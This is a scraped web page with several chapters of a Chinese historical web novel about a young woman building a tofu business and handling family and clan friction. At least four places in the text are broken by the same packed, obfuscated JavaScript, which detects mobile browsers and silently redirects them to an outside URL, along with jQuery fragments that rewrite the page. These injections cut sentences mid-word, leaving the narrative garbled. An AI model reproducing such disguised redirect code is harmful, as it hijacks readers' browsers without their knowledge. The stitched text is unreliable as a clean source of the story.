l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16382267|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到一半,瞧见她屠户爹一脸掩不住的喜意,话头一转道。 “熏豆干是没了,可有鹵豆干,能直接吃,送娘子一方,回去切了摆个冷盘来吃。” “这……”妇人话头被堵住,有些不自在道。 “我可不是想白吃你的豆干,你说个价,我自家买。” “本就是制来试吃的,还没正经卖呢,怎能收娘子的钱?您拿回去尝个味儿,也好给我说说可能入口。” 林真笑眯眯,从林屠户手中接过篮子,捡了一方鹵豆干送与那妇人。 一场小纷争就此消散,燕儿满眼崇拜地盯着阿姐瞧。 一家子才收拾好,王柘又溜达了过来,抻着脖子望。 “我可闻见味儿了,林娘子这是又制了甚好东西,怎不摆出来售卖?” 王氏布行的小少爷,王柘,也算是林真的老熟人了。 不仅是头一个买腐竹的客人,后头王家的小宴也从林真这儿定过腐竹,还介绍了些友人前来购买。 实实在在的大主顾,且人还是个活招牌呢,搁在后世,妥妥的探店+美食博主。 林真眼睛一亮,不着急回家了,用箬叶包了两方鹵豆干递给王柘。 “新想的吃食,王吃家给品一品。” “咳,那就,品一品。” 王柘被一句‘王吃家’给哄得嘴角怎么都压不住,理了理袖子,接过林真递来的鹵豆干开品。 先看再嗅,最后才掰了一小块儿扔嘴里细细咀嚼,越嚼眼睛越亮,可这满意之色转而又添了些遗憾…… 一张脸,有喜有憾,教瞧着他的人都跟着揪心。 “啧,王小少爷唉!到底是个啥味儿你倒是说说,不说话可叫我们怎么猜。”早有围观的人群按捺不住。 “哼!人家林娘子信我,教我好生品评,我自是要上心的。”王柘先怼人,瞧见林真面上也带了一丝焦急,立即道。 “林娘子这新想的吃食甚妙,占足了‘咸香’二字,有韧性却不费牙口,回味甘醇,细细品来,居然与熝肉有几分相似,用来佐酒极佳!” 王柘先夸,随即话风一转。 “只一点,这鹵汁味儿杂了些,且下的料也不算好,倒是将豆干那股子清爽掩盖了去。若是叫坊内卖熝鹅的店家来制,那才叫美呢!” 林真听得咋舌,真是好灵的舌头。 林屠户今日临时起意去寻朱家分茶店帮着制鹵豆干,人家肯相帮就算大气了,肯定不可能单拿一锅鹵汁来制鹵豆干,定然是与店里的肉混在一处煮的。 这样都能教王柘尝出来。 “你这舌头,真是这个!” 林真伸出大拇指赞道。 “那我回去再改改,尽量早日上新品!” “倒是不用。”王柘想起坊内卖熝鹅的店家将鹵汁看得像命根子一样,有些后悔自个儿多话。 “你这鹵豆干已是极好,尽管制来卖。有多的没?再给我捡两方,也孝敬老爷子喝两盅。” 林真又捡了两方包好给王柘,制止了人掏钱的动作。 “本就没正经售卖,送你两方吃,算是谢你帮我品鹵豆干,有王小吃家这话,我倒是能大着胆子上新品了!” 31. 第 31 章 去与马娘子碰面的时候,林真指挥她屠户爹往朱家分茶店那边绕一绕。 果然,几人才到渔兴坊那头,一直守在门口的朱掌柜忙不迭地招呼道。 “林老弟,林老弟!” “咦,朱三哥,这是怎的了?”林屠户停下,难不成今儿请人鹵豆干出甚岔子了? 林真倒是一点儿不虚,反而一脸的笑。 果然,朱掌柜好言相请,开了后院的门,请几人入内歇息,还给林真姐倆上了冰核杨梅露吃。 “今儿老弟大方,给我留了好东西。我一尝就晓得这鹵豆干用来佐酒极好,不知林老弟这豆干儿作价几何?若是合适,老哥也能给店里再添一道小食来吃。” 果真是冲着鹵豆干来的。 林真早有预料,从听见她爹说朱家分茶店会接食材加工的活时,林真就晓得:这店家是个活泛人。 在售卖饭食的地儿自带食材上门,这在大多数店家看来都是冒犯。 可仔细想想朱家分茶店里招待的客人,大都不是甚大富大贵的人家,只能说有点儿小钱。如此,朱掌柜的这一招实在是妙。 客人既带了食材上门,手中定然不甚宽裕,那便不会放过这个难得下馆子的机会。少给上几个钱,教一家子或者相邀的友人,能在分茶店内好好坐一回。 实在是花小钱办大事儿的小妙招。 既在店内小聚,那少不得会在店里消费一二,分茶店内有了人气,又有进账,实在是妙。 那时,林真就知道,这位朱掌柜会是一位潜在的合作对象。 今儿一早,不顾林屠户的嘀咕,林真着意叮嘱她爹。 “爹一定要记着,给人掌柜的留下两方鹵豆干。” “晓得了,你爹是那样小气的人么?” 现在,到了谈生意的时候了,林真摩拳擦掌。 “老哥,我家这豆腐营生都是我女儿在管,您与她商量。”林屠户果断道。 朱掌柜一脸诧异,他转过头去,瞧着笑眯眯的林真。 怎的,林家还真是这年纪轻轻的小娘子做主不成? “朱掌柜,这豆干我可以一文钱一方卖给您,但是有个条件,您得帮我鹵豆干,鹵五方我给您一文钱,且也得教您知道,我在兴福坊内支了个摊子,这鹵豆干,我只打算卖三文一方。” 用来鹵的豆干与熏豆干不同,要入味,厚度和大小就有讲究。分量便没那么足,估摸着只有熏豆干的一半。 三文钱一方,不出薪柴不出香料,对林真来说,是纯赚。 可就怕朱掌柜不同意。 “啊?卖恁便宜?小娘子,如此你倒是能赚钱,我这头又出香料又出人工的,可赚不了几个子了。”朱掌柜果真不同意。 先前听见这小娘子说一文一方的时候,朱掌柜还暗喜,可后头听见她说,只卖三文一方的时候,朱掌柜坐不住了。 这样,他可赚不了钱! “您听我说,我只在兴福坊内售卖,一来不会与您相争;二来摊子没处歇脚,这类客人和往您这头来的客人并不冲突。再有,这价定高了,咱们两头可都不好售卖。” 兴福坊内的人也不是吃素的,人更会算账。价定得虚高,人也不会买账,更别说朱家分茶店的客人了。 林真缓缓道来,瞧见朱掌柜一脸的若有所思,继续道。 “若想多赚些钱,您别整个儿作卖,卖拼盘啊。” “这,何为拼盘?”朱掌柜问道,显然是听进去了。 “您家本就有熝肉嚼杂,一样切些来,与鹵豆干摆成一盘,显得好看量又足。至于一盘怎么定价,里头又有些甚,全凭着您自个儿定。” 林真娓娓道来,朱掌柜越听越觉着这拼盘的主意甚好。 肉有贵有贱,拼盘里头少加些贵价的肉进去,这定价就不同了。如此,岂不是说这鹵豆干和嚼杂都能卖上好价,且还不会教人觉着贵。 只是…… 朱掌柜笑眯眯:“小娘子,我这头要的豆干要是多,能否再让让价?量大从优么。” “这可不成,您与我爹是老相识了。我这才给您这个价,我这一块儿鹵豆干细细切来,可摆好几个拼盘哩。”林真摇头,一口拒绝,同时开始比拼口才。 “您也别说帮着我鹵制豆干废功夫,这一锅鹵汁能用上许多回呢!况且我那摊子也卖不了许多,顶天了能销个三四十方,您可不吃亏。” “您再想想,若是不成也不碍事儿,我且再去寻一寻愿意合作的店家。” “别,可别!”朱掌柜话一出口就有了悔意。 再瞧瞧神色丝毫不变的林真,不得不承认:到底是落了下风。 豆干倒是好制,县内的豆腐坊瞧一瞧,多试上几次也就成了,可他们要价就不是这个数了。 “成,林小娘子这拼盘的主意,就值得朱某人结交。你爽快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16388919|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也不能小气了,咱再添一条,豆惠坊和渔兴坊,您这豆干只能卖给我。这样可成?” “成!” 林真果断点头,她想卖也没多的可以卖。 家里现在所出的腐竹和豆干基本达到人力和畜力的顶点了。再多,家里人和驴子小骡都遭不住。 为着挣钱反而累坏了身子,这可不是林真想要的。 “好,林小娘子果真大方。我去拟了契来,再去县衙过验,劳你一同走一趟。” 朱掌柜急着将事情定下来。 “好。”林真疑惑了一瞬,立即明白过来。 头两次定契不必她费心跑腿,显然是托了林掌柜的福。这回,是怎么也要跑上一回的了。 好在朱掌柜在县里扎根多年,也算与县衙的小吏混了个面熟。陪着笑脸,又不着痕迹地塞了一串钱,才见着了过验的书办。 又是塞钱又是说好话,才在一叠声‘怎这个时辰前来’的埋怨中盖了印。 白契变红契。 俩人从县衙出来时,双双松了一口气。 临走时,林真想了想,还是将王柘那番‘先制鹵豆干再制熝肉杂碎’的话说给朱掌柜听。 “您试试,若是怕坏了肉的味儿,就还是先制肉再制豆干。”林真也不勉强,要她尝来,这鹵豆干的滋味已是极好。 王柘的名气显然不小,朱掌柜很当回事儿,答应去与厨娘相商。 而折腾了一天的林真,终于踏上回家的路。 她坐在驴车上,一句话都不想说:今日的社交量大大超标,她得缓一缓。 家去,在村口遇见了贺景。 他还挑着一担水。 “怎到这儿来打水了?”林真奇道。 “你和爹久不归来,都担心着呢。索性上村头来打水,也好瞧瞧你们回来了没。” “哎呦,今儿是耽搁的久了些。大景,将水放车上来,真姐儿和燕儿同你一道走回去。” 林屠户忙道。 “您这是心疼贺景呢?还是心疼大灰啊?” 林真这会儿复活了,狭促道。 别以为她没看出来,她和燕儿坐车上时,林屠户那眼神,可心疼了。 林屠户不说话,只牵着大灰往前走。 林真见好就收,牵着燕儿同贺景说起今日见闻,慢悠悠家去。 此时的林真还不晓得,今日还有一桩官司等着她来断呢。 32. 第 32 章 家去,自然又是赶着挑豆皮制腐竹,好在有了鹵豆干这样新品,要制的熏豆干少了大半,能省下不少功夫。 家里人都是手勤脚快不躲懒的,即便今日耽搁了时辰,一家子紧赶慢赶,还是将东西都备齐全了。 一家子吃了夕食便早早散去,好生睡一觉,明日接着奋斗。 “真姐儿,我烧了水,你打些回去泡泡脚。”苗娘子招呼林真。 “唉!就来,劳烦娘子了。” “真姐儿,你今日家来,可是在村口碰见大景的?” “是,娘子这是怎了?一脸的愁。”苗娘子面上的忧虑实在明显。 林真好生奇怪,家里现在有稳定进项,人都和睦,有甚烦心事儿吗? “此事,我只能找你说,要是给你爹晓得了,原本多亲厚的两家怕是要生嫌隙。今儿是你爹送你们去县里,大景便接过打水的活计,早早便出门去了。我瞧他没赶驴车,心里奇怪,跟出去瞧了瞧,那个方向,可不是往你大伯家那头去的,似乎是往村里的公井去的。” 苗娘子瞧着林真骤然落下来的脸,赶紧道。 “此事你大伯和大伯娘应是不知情的。我后来自个儿去大嫂家打水,屋子里只有茂青媳妇儿和巧儿在。巧儿见了我多热心,还帮着我打水呢!若说大嫂家里有谁不乐意教大景去打水,那也只能是茂青媳妇儿一人说了甚。” 不是苗娘子妄自揣测,实在是她今日进门时,来开门的茂青媳妇儿就在甩脸子,嘴里还嘀咕着:天恁热,用恁多水,家里的井水都浅了一层。 往日里一向是林屠户去打水,可从来没他说过甚。林屠户瞧着五大三粗,可心却不粗,心气儿也高,若是受了酸言酸语,怕早就发作了。 那么,这酸言酸语就是对人不对事。 而这个人,她自己算一个,贺景,怕是听得更多。若不然,贺景作何要绕远路多费好些力气往村里的公井打水去? 现在家里要磨的豆子恁多,用水更多,这一趟趟地挑,可不是个轻省活儿。 若说苗娘子先前还因着贺景的相貌对他有些偏见,可一个屋檐下生活了这些日子。苗娘子也不得不承认:贺景确实是个好的,干活卖力,是一门心思想将日子经营好的。 且人还不错,是个你对他好一分,他必还两分的性子。 去了偏见,苗娘子瞧贺景,怎么瞧怎么欢喜。是以,思来想去,苗娘子还是选择奖此事私下说给林真听。 经了如此多的事儿,她也瞧出来了,真姐儿是个有本事儿的,林屠户也听她的。 家里的事儿,说给真姐儿听,怕是比说给林屠户听还管用。 “我想着,大哥大嫂一家子都是极好的,也确实是咱家用水太多,不怪有些怨言。若为这事儿与大哥一家子生怨倒是不美,真姐儿,你算算,若是账上有钱,咱家还是尽快打一口井罢。” 林真倒是没想到,才在马娘子那处听了一耳朵的水井风波。家来,自家也一样因着用水一事儿生出事端来。 打井一事,她不是没想过。 可在她的计划里,打井之事得往后挪一挪,林真盯着屋顶上的茅草瞧,她原有更要紧的事要办。 可现在,确实是该先打口水井来用。 “成,我去问一问爹,明儿就教他先去请个风水先生来。”林真在心里迅速过了一遍账上的钱,一锤定音,转身便去寻她屠户爹。 要打一口水井可不是件容易事儿,先不说所需钱财,找个能出水的地儿来才是最要紧的。若家里没有出水点,那就只能往外找,可打在外头的水井,总归不美。 还有,家里制豆腐,必要好水,若是打了一口苦水井或咸水井来,水是压根儿没法用。 那可真是,白白将铜子儿往水里扔! “爹,你识得人,明日先去请位风水先生来,瞧瞧咱家可能出口好井。” “咦,怎好好的说起打井的事儿来了?”林屠户纳闷。 院儿里收拾东西的贺景一下抬头,双目灼灼,盯着林真瞧。 “本就预备着要打井的,账上有钱,近日也没甚大花销,自然该提上日程来。趁着秋忙未至,腾得出人手来,早早打口井来使。咱家现在用水忒厉害,磨豆子只能用甜水井,总不能老指着大伯家的那口井。” 林真催她爹:“您明日得请个好的风水先生来。打井可是大事儿,可别教那些打着幌子蒙人的半吊子给骗了。” “嘿!你爹我还能教人给欺了去?你等着,明日我往西青山那头去,定然请个顶好的先生来!”林屠户觉着被闺女儿小瞧了,很是不服气。 “成,此事是咱家现的头等大事儿,全赖您去办了啊。”林真很不走心地哄了哄她屠户爹,打着哈欠回屋睡觉去。 她现在这作息,亥初睡卯正起,真是从前想都不敢想的健康。 贺景不声不响跟着回屋子。 “你晓得了?” “是,苗娘子说给我听的。家里人都记挂着你,你别甚事儿都自个儿抗,打口井罢了,算甚大事儿?”林真盯着贺景,突然皱眉。 “你往村里打水有段时间了吧?夏日天儿热,哪年为着争水不闹出些事儿来?可有人欺负你?” 贺景教林真问得心都漏了一拍。 可有人欺负你? 这句话他从前听过,很小的时候,爹说过,娘也说过。只不过一个教他:男子汉,得自个儿立起来;另一个呢?淌着泪,眼里是心疼,可嘴里,只念叨着要他忍忍。 “没,没人欺我。” 他听见自己这样回答,可心里却升起些别样的想法:她呢?她会如何说? “真没有?”当过留守儿童的林真不大相信。 “你别怕,咱家可不是好惹的,若有人欺你,只管来与我说。哼!都说我凶悍了,怎能辜负了这个名儿?” 她说她要帮我! “嗯!”贺景瞧着林真,眼睛亮晶晶。 林真被他瞧得不自在,赶紧蒙着被子会周公去。 == 翌日,林屠户记挂着请风水先生的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16394251|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,早早便出门。 他将驴车留给贺景送林真去县里摆摊,自个儿腿着去了西青山。 下午家来时,林真果真瞧见一直领大袖蓝道袍的中年男子在她家里打转,她屠户爹一脸殷勤地跟在后头。 清瘦高挑,手持罗盘,蓄着美髯,小风一吹,衣袂翩然,端得是一派仙风道骨,模样倒是很能唬人。 “此气聚之地,避污.秽、远冲煞;合‘坎’卦,坎为水,正得其位。”那风水先生顿了一顿。 “阴滋阳茂,于你家是大吉之兆。” 林真觉着刚才这风水先生似乎瞥了她一眼。 林屠户听得心花怒放,笑出一脸褶子:大吉之兆,好啊! 再瞧大师指的那位置,就是院子东边儿的枣树下,更欢喜了,自家院子里有吉兆! 一叠声儿道谢,不止包了一百二十个子儿,还送了一把腐竹一方熏豆干。 这就完事儿了? “道长,您给多选一处地方罢?万一此处不出水,还能另挖一处瞧瞧。”林真看得着急,不由出声。 她倒不是心疼那点钱财,只是心里没底,只选一处?不多选几个地方?不留个备选项? “小娘子不必着急。”风水先生伸手捻了捻枣树下的土,十分肯定道。 “此处定是好水好井,若是不成,不肖小娘子上门来,我这招牌自个儿就扯了。” 成,道长都这么说了,林真也只得信了。 一家子送了风水先生出门,林屠户还多是周到,一路将人给送到村口去。 “真姐儿,这是怎了?我瞧着家里怎来了位道长?”李金梅这时上门来,不免问道。 “大伯娘,家里打井呢!”林真很是欢喜,招呼着她大伯娘进屋子,“家里攒了钱,家当就得一样样置办好,院儿里有口好井,做饭洗衣都方便。” 话风一点儿不露,照样是亲亲热热的模样。 “好!真姐儿有本事,你爹都没置下来的,你置下来了,好女子!”李金梅在林屠户家时,还满脸的笑,可一回家,那脸就拉下来。 好端端的!二房那头急着打井作甚? 这些日子甚是忙碌,山间田里都少不得人。她和小儿子还又添了一项活计,家里多是只留巧儿或茂青媳妇儿看家。 李金梅目光沉沉:看来,是有人日子过得太舒坦了,非要生事! 这头,林屠户家正商量着请人打井之事。 农家自用的井一般不深,有个七八米便够用了。这般的井,若是叫上族人相帮,招待一顿饭食,一个壮劳力一日只用给六十个钱。 请上三五人,十天半个月的怎么也能成了。算下来,人工不过三贯钱,饭食置办得好些,日日添些荤食,也不过几百个钱。 比起请专门的打井队来,可要省下不少钱。这也是村里自家打井多选的法子。 林屠户也是偏向这法子,他当年建房的时候就是族人相帮,在他看来,这也是与族人联络感情的法子。 可林真不同意。 33. 第 33 章 打井这件事,林真从未想过要请族人相帮。 她斟酌了一下语气,缓缓道。 “爹,咱家里在制腐竹呢。也不是说不能被人瞧见,只是族人相帮,门户大开,进进出出都是人。到底是吃食生意呢,咱卖得价又高,得注意弄得干净些。再有,这饭食谁来烧?算上家里人,可就是十人的饭食了,这可不是个轻省活儿。苗娘子日日制腐竹豆干已经够辛苦了,总不能还教她来烧饭罢?请大伯娘相帮?可大伯家里三十来亩田要照料,正是要紧的时候,田里日日少不得人。大伯家里事儿也多,大伯娘还在帮着咱家收豆子,日日不得歇,可不好再麻烦她。” “那你心里是个甚章程?请打井队的匠人来,倒是不肖操心,可至少得六贯钱。”林屠户瓮声瓮气。 “咱去县里请打井队来,虽要多花些银钱,可一来,咱们每日给供一桶凉茶或豆儿水就成,一把柴火的事儿,不肖多费心;二来,挖井是个技术活儿,这要挖个七八米,恁深,若是中间有个意外,或是井塌了,或是人晕在里头,那可怎么是好?” 林真还真怕族人为她家挖井出意外。 七八米深的水井,她瞧一眼都怕,可真不敢讲此事托给无证上岗的半吊子族人。 “对了,咱账上有钱,您往行会去,请行老寻一支口碑好的打井匠人来,可别去找那私下接活儿的。”林真赶紧叮嘱。 林屠户面色好些了,他思量一番,到底点了头:“成,就照你说得办。” 林屠户家在说打井的事儿,林大伯家也在说。 “今儿二弟那头请了风水先生来,说是要打井。茂青、茂安,你们俩去给你二叔家帮忙,咱们是一家人,在那头吃饭就算了,可万万不能要工钱!” 才将端起碗,李金梅便说了二房打井之事。 “这是自然,我们定是要去给二叔帮忙的。”林茂青和林茂安都一口应下此事。 “咦?二叔家作甚要在这时候打井?前儿遇着了真姐儿,她还在我跟前嘚瑟,说是要趁着秋雨未落,将院儿里的黛瓦青砖都重新铺陈开,怎又要打井了?哇,真姐儿可真有本事儿,挣恁多钱……” 林巧儿的声音在爹娘逐渐阴沉的面色下,消失了。 听见自家男人要去给二房免费帮忙的刘桂香,心里正不满呢:这二叔家有如此赚钱的营生,怎还抠抠搜搜的,连自家侄儿的工钱都想昧下。 陡然听了林巧儿这话,再抬头看看公婆的脸色,心里一突:不会吧?她不就说了几句二房家那上门女婿和晚娘吗?二房真因这几句话,就要打井? 若是这样,是不是心中不满,与自家起嫌隙了?那她公婆不得撕了她? “我也听真姐儿说起过,那腐竹是淋不得水的。她即便是赚了钱,也该先修葺屋子,怎屋子没动静,反倒是想着打井?咱家不是有井吗?这井还是当年二叔陪着挖的。” 林茂安眼神一扫,心中有了猜测,心有不满,顺势接过巧儿的话头。 刘桂香面色一变,匆匆低头。 “啪!” 李金梅将碗一放,瞧一眼埋头苦吃的鑫哥儿,压着火气道。 “大郎媳妇,你跟我来。” 林茂青先还没反应过来,此时听见他娘这么一说,看看爹娘分外难看的面色,再瞧一眼自家媳妇一副心中有鬼的模样。 他还有甚不明白? 心里一紧,他瞧着面露不安的媳妇,闭了闭眼,刚想开口劝说,可林茂安比他先开口。 “大哥,咱去田里转一转,麦穗正灌浆呢,田里可不能有积水。” 爹娘都被叫走,鑫哥儿疑惑抬头。 “鑫哥儿多吃点,你还没有春妮那小丫头高呢!”林巧儿赶紧夹了一箸金黄蓬松的炒鸡子给他。 “谢谢姑姑,我肯定长高的,明儿就比她高了!”鑫哥儿一脸认真,“春妮可没有这样好的姑姑给她吃炒鸡子。” “小滑头,尽会哄人。” 也因着这一句,桌子上的气氛到底没冷到底。 林家兄弟倆一前一后出门。 “大哥,爹和你一样,只有一姊一弟。多少年了?咱们几家一直亲厚,若因着小辈教他们之间的兄弟情份断了,那一定是咱家行事有失。二叔,可是一向厚待咱家的。” 林茂安直直盯着他大哥瞧。 林茂青想起来这些日子,刘氏常在他跟前念叨:二房日子好过,怎也不拉扯自家一把?尽紧着家里那俩小的去,真姐儿可别是对他这大哥有意见了? 他面色发暗,喉咙发紧。 这话可不单单在说爹与二叔大姑的兄妹情,何尝不是在说他和巧儿茂安? “二弟,我晓得了。此事是你嫂子不对,也是我不对。我会去给二叔赔礼道歉,二叔家打井,我肯定尽心!” “大哥,可不是去给二叔赔礼。是该去给真姐儿说,是真姐儿晓得此事,并且着意遮掩的。不然,爹和娘今日不会如此轻放。”林茂安摇摇头。 “啊?真姐儿?”林茂青惊愕了一瞬,随即点点头,“成,我晓得了,会私下说的。”他不笨,也听劝,当即应下。 他又不是甚大人物,给妹妹道恼也不丢脸,且真姐儿确实有本事。 当然,等兄弟二人扛着凿子、铁铲来林屠户家,却发现完全用不上俩人时,愈发领教了一番这个小堂妹的本事。 当然,那都是后话了。 此时,很有本事儿的小堂妹却心生奇怪。 “唉,你说说,我爹刚才是不是生气了?”林真戳戳贺景。 她琢磨好一会儿了,可还是拿不准,这才问贺景。 “才发现?”贺景转过身来瞧着林真。 “果真生气了?可后头是不是又好了?那爹到底为啥生气?”林真实在搞不明白,她屠户爹这生气生得也太不明显了吧? “爹一开始生气,许是觉着你不与族人亲近,对族中有意见;后来不生气了,是猜你只是胆子小,怕出事儿,不是故意冷待族人。可我觉着,你确实是不想与族中牵扯过多。” 贺景今日打算实话实说,不再对林真有所隐瞒。 “啧!贺小同学,你知不知道有句话叫做‘看破不说破’?” “同学?这是甚意思?”贺景疑惑。 “这是重点吗?”林真磨牙。 贺景轻笑一声,夜色已浓,他胆子愈发大。 “真姐儿,你心中有鬼。” “哼!我确实是不想与人有过多牵扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16408751|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是对所有人,可不是只针对族人!”林真破罐子破摔。 “不是的,真姐儿,你是个大气爽利的姑娘。你待马娘子就挺好,与林掌柜等人相交时,也很是明理大方。”贺景又轻轻道,“你就是不耐烦应付族人。” 林真没说话,睁着眼睛,屋内昏暗,只几许夜色漏进来,照亮一角。 “我晓得,族人许是抱团、许是议论,你不喜如此。可真姐儿,要我说,这些都是小事儿,人聚在一处生活,总是会有这样的事。咱家是能关起门来过日子,可不能完全不与其他人打交道。”贺景的声音很轻。 “若是不抱团,可争不下此等好地好水来生存。我说句真心话,林氏一族,虽也有这样那样的纷争,可族长公正,族风已然算是顶不错的了。咱们成亲时,族长家可给咱家帮了不少忙。” 林真无话可说,贺景全说中了。 她一个自由自在的现代人,陡然到了此处,处处是规矩、是掣肘、是议论,她确实心有抵触。更别说,来了枣儿村后,还生了许多不算愉快的事。 “真姐儿没去过贺家湾罢。若是在那处,爹只有你,想要招赘,那是绝无可能的。”贺景似乎笑了笑,“怕是媒人都进不得村,然后,爹也许就会出意外,留下的女儿,第二日就会被送到不知道甚地儿去。” “大虞朝,可不能买卖人口。”林真半天才憋出一句话来驳。 “是,不是买卖。是认干亲,干娘干爹接义女去小住一段时间,谁能说甚?” “真姐儿,你这么聪明,应当晓得,族人,用得好了,会是你莫大的助力。” 听见先前几句,林真猜到了些什么,在黑暗中还轻轻拍了拍贺景。可听见后头一句,她炸毛了,与贺景隔得老开。 “甚助力?我能干甚大事?咱家现在挺好的,我什么也不会做!” “好,是我说错话了。”贺景从善如流,立即改口。 “哼!没大没小,你怎么叫我的?真姐儿?那是爹和苗娘子叫的。” “没叫错啊?真姐儿,真姐姐,你确实比我大两月呢。” 林真败下阵来,翻过身去,用被子将自己全卷起来,不理人了。 == 翌日,林真大早上围着家里转了一圈儿,又在心里过了一遍账本,冲着她爹道。 “爹,你来,我与您商量个事儿。” “作甚嘛?你不是使唤我去寻打井队的嘛?”林屠户嘟囔着过来。 “这几天咱家的大小灰和大毛吃得都挺好,族人打草可见是用了十足的心。我想着,咱家里劳力还是少了些,家里用柴又多,不若放出消息去,从族中买薪柴,一旦给十三文,冬日再涨五文。能腾出手来,还能教族人也省些力气。” 林真虽然还是不赞同贺景那一套理论,可也不介意花些小钱来哄她屠户爹。 “果真?”林屠户果然欢喜,又搓着手道,“咱花钱买柴,那还有得赚不?” “爹,您现在怎么也净说怪话?我如何定价的您不晓得?哼!” 即便是只卖腐竹,所得之利除开这些支出后还有得赚,更别说她还卖熏豆干和鹵豆干了,这部分,完全是纯赚。 林真现在,可是能日入一贯钱的人! 34. 第 34 章 林屠户家打井,不请族人相帮。 这个消息长腿儿似的传遍了枣儿村,倒不是林家有意炫耀。 实在是村里日日都有生人进出,还带着凿子铁铲等工具,只稍稍一打听,便都晓得了。 “嗐,屠户家发达了,自然是瞧不上咱们村里人的。那门户紧的哟,大白天的,日日院门紧闭,生怕有人将他家赚钱的法子学了去。这厢打井,自然不会教村人进门的。” “哎,有财媳妇儿,前儿我可瞧见了,你家那俩小子带着铲子上屠户家,可照样被请出来了。怎的,他防着咱们这些外人便罢了,怎连自家亲兄弟都一并防着呢?” 李金梅瞅着说话的人,认出来这是住在林屠户家旁边的一户人家,不是林氏族人,是陈家人,这是村里另一个大姓。 “这筑高墙锁院门,自然是防着那些个,日日抻着脖子瞪俩眼珠子直直往别人家里瞧的人。再说了,我那弟妹是个好性子的,哪回村人上她家买豆腐豆干的,没招呼人进去喝盏子茶水?可没不准人进出。” 陈姓村人气了个仰倒,可还真不敢再多说些甚。这李金梅口舌厉害,要是再接几句话,还以为她家真是在图谋林屠户家的营生呢! 等着吧,就屠户家这做法,少不得人议论的。那时候,她看这李金梅还如此猖狂! 这倒是要教陈家婶子失望了。 林屠户得了女儿的吩咐,定下打井队之后的头一件事,就是去找族长,将自家准备从族人手头买薪柴的事儿说给族长听一听。 也好教族长晓得,真姐儿是忧心族人出事儿,可不是不乐意与族人打交道。 族长林正业听后果真大喜,仔细问了林家每日所需薪柴后,招来小儿子林有文。 “此事你去办,心中可有章程?” 林有文点头:“此乃善举,能帮扶族中孤寡贫弱者,儿子会走访族中,选出合适的人家。也会告诫他们,不可借机示弱索求,教有生大哥为难。” “嗯。” 林正业点点头,心中满意,又指点儿子。 “还有一样,家里全是老弱的,比起铜子儿来,会更愿意直接换取粮食。可有生小子家的田地全给了他大哥种,他家里怕是没有多余的粮食。你给送柴的人家说清楚,莫要纠缠,尽管到咱家来换粮,不会亏了他们的。” “是,那儿子这就去了。” 林有文拱手,晓得他爹也是有意借此机会暗中补贴生活困难的族人。 “有生小子此次打井,不请族人相帮,族中定会有些怨言,你留意着,出手整顿一二。” 林有文恭敬应下,瞧着他爹阖上眼不再言语,这才出去办事。 有族长出手,一场舆论风波就此消散,反是有不少人赞林屠户家仗义。 林有文此事办得漂亮,他挑选出的四户人家,确实是老实忠厚之人,对林家只有感激并无眼红,每日准时送上两担收拾得很是齐整的薪柴。 私下不管是换粮还是分粮都是几家人商量着来,绝不在林屠户面前多话。 林真瞧在眼里,暗中预想的麻烦并未产生,心里也得认:这林家的族长,确实是拎得清,没让做好事的人反而惹得一身腥。 可她也不过这么一想,便丢在脑后。她现忙得很,连家里打井之事都没功夫多管。 那鹵豆干实在是受欢迎,朱掌柜的拼盘生意也实在是好,林真瞧在眼里,心中一动:先前林掌柜出手帮忙,采买腐竹更是一点儿价没还,她有心回报一二。 这日,林真在兴福坊内摆完摊后,特意约了林福去朱家分茶店。 此时饭点已过,按理来说,是分茶店内最清闲的时候。 可倆人去时,朱家分茶店几乎还是满桌。时不时还有食客进门喊上一嗓子:“小二,来份儿拼盘,再沽一壶米酒来。” 仔细一瞧,几乎每张桌子上都有一盘子小食,食客三三两两闲坐,就着那一盘子小食吃酒侃大山,好不惬意。 林福本就机敏,且今日还是林真特意相请,瞧着摆在自个儿面前那个放了各类嚼杂、爊肉的大圆盘子,几乎一瞬间,就明白了卖拼盘的好处。 这可不止是利润远超单独售卖,还能连带着销售某些为着品类齐全必须有,但却不大好卖的东西。 “这店家好灵巧的心思,想出此种售卖方式。”林福不禁赞道。 “过奖过奖。”林真笑着接下这句称赞,又指了指拼盘中的鹵豆干,“林小哥尝尝这样。” 林福正惊诧:原是林娘子给出的主意。 此时听见林真的话,不禁打起十二分的精神,以一种绝对郑重的姿态,细细品尝鹵豆干。 “难怪人人都要沽酒吃,这东西佐酒极妙。” 